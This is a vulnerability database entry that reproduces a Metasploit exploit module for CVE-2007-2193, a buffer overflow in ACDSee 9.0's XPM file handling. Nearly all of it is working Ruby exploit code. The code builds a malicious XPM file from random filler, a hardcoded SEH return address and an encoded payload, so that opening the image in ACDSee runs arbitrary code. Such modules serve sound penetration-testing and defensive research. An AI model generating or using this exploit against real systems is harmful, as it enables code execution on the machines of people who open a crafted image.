ACDSee XPM File Section Buffer Overflow

2008-12-07T15:02:20
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/ACDSEE_XPM
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a buffer overflow in ACDSee 9.0. When viewing a malicious XPM file with the ACDSee product, a remote attacker could overflow a buffer and execute arbitrary code.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ACDSee XPM File Section Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in ACDSee 9.0.
        When viewing a malicious XPM file with the ACDSee product,
        a remote attacker could overflow a buffer and execute
        arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2007-2193' ],
          [ 'OSVDB', '35236' ],
          [ 'BID', '23620' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops'   =>  'True',
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 23 2007',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.xpm']),
      ])
  end

  def exploit

    filler = rand_text_alpha_upper(rand(25) + 1)

    # http://www.fileformat.info/format/xpm/
    head =  "/* XPM */\r\n"
    head << "static char * #{filler}[] = {\r\n"
    head << "\""

    buff =  rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)

    foot =  "\",\r\n" + "};\r\n"

    xpm = head + buff + foot

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(xpm)

  end
end